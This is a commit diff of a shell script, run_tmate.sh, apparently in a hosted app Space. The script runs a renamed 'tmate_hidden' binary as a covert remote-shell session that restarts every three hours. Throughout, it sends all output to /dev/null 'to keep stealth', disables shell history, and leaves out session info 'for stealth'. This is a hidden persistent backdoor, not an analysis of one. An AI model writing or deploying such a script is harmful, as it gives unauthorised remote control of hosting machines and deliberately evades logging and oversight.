Spaces:
Paused
Paused
ayoub ayoub
commited on
Update run_tmate.sh
Browse files- run_tmate.sh +12 -11
run_tmate.sh
CHANGED
|
@@ -1,8 +1,6 @@
|
|
| 1 |
#!/bin/bash
|
| 2 |
|
| 3 |
-
|
| 4 |
-
|
| 5 |
-
# Disable logging to keep stealth
|
| 6 |
exec 1>/dev/null 2>&1
|
| 7 |
|
| 8 |
# Disable shell history
|
|
@@ -10,27 +8,30 @@ unset HISTFILE
|
|
| 10 |
export HISTFILE=/dev/null
|
| 11 |
|
| 12 |
while true; do
|
| 13 |
-
#
|
|
|
|
| 14 |
|
| 15 |
-
# Start detached tmate session silently
|
| 16 |
tmate_hidden -S /tmp/tmate.sock new-session -d
|
|
|
|
|
|
|
| 17 |
tmate_hidden -S /tmp/tmate.sock wait tmate-ready
|
| 18 |
|
| 19 |
-
#
|
| 20 |
-
|
| 21 |
-
# Monitor for 3 hours or until tmate
|
| 22 |
start_time=$(date +%s)
|
| 23 |
while pgrep -f "tmate_hidden -S /tmp/tmate.sock" > /dev/null; do
|
| 24 |
current_time=$(date +%s)
|
| 25 |
elapsed=$((current_time - start_time))
|
| 26 |
-
if [ $elapsed -ge 10800 ]; then
|
| 27 |
-
# Restart
|
| 28 |
pkill -f "tmate_hidden -S /tmp/tmate.sock"
|
| 29 |
break
|
| 30 |
fi
|
| 31 |
sleep 5
|
| 32 |
done
|
| 33 |
|
| 34 |
-
# Wait 5 seconds before
|
| 35 |
sleep 5
|
| 36 |
done
|
|
|
|
| 1 |
#!/bin/bash
|
| 2 |
|
| 3 |
+
# Silence all output completely
|
|
|
|
|
|
|
| 4 |
exec 1>/dev/null 2>&1
|
| 5 |
|
| 6 |
# Disable shell history
|
|
|
|
| 8 |
export HISTFILE=/dev/null
|
| 9 |
|
| 10 |
while true; do
|
| 11 |
+
# Remove stale socket before starting
|
| 12 |
+
rm -f /tmp/tmate.sock
|
| 13 |
|
| 14 |
+
# Start detached tmate session silently using hidden binary
|
| 15 |
tmate_hidden -S /tmp/tmate.sock new-session -d
|
| 16 |
+
|
| 17 |
+
# Wait for tmate to be fully ready
|
| 18 |
tmate_hidden -S /tmp/tmate.sock wait tmate-ready
|
| 19 |
|
| 20 |
+
# (Optional: You can capture session info here, but omitted for stealth)
|
| 21 |
+
|
| 22 |
+
# Monitor session for 3 hours or until tmate exits
|
| 23 |
start_time=$(date +%s)
|
| 24 |
while pgrep -f "tmate_hidden -S /tmp/tmate.sock" > /dev/null; do
|
| 25 |
current_time=$(date +%s)
|
| 26 |
elapsed=$((current_time - start_time))
|
| 27 |
+
if [ "$elapsed" -ge 10800 ]; then
|
| 28 |
+
# Restart session after 3 hours
|
| 29 |
pkill -f "tmate_hidden -S /tmp/tmate.sock"
|
| 30 |
break
|
| 31 |
fi
|
| 32 |
sleep 5
|
| 33 |
done
|
| 34 |
|
| 35 |
+
# Wait 5 seconds before restarting
|
| 36 |
sleep 5
|
| 37 |
done
|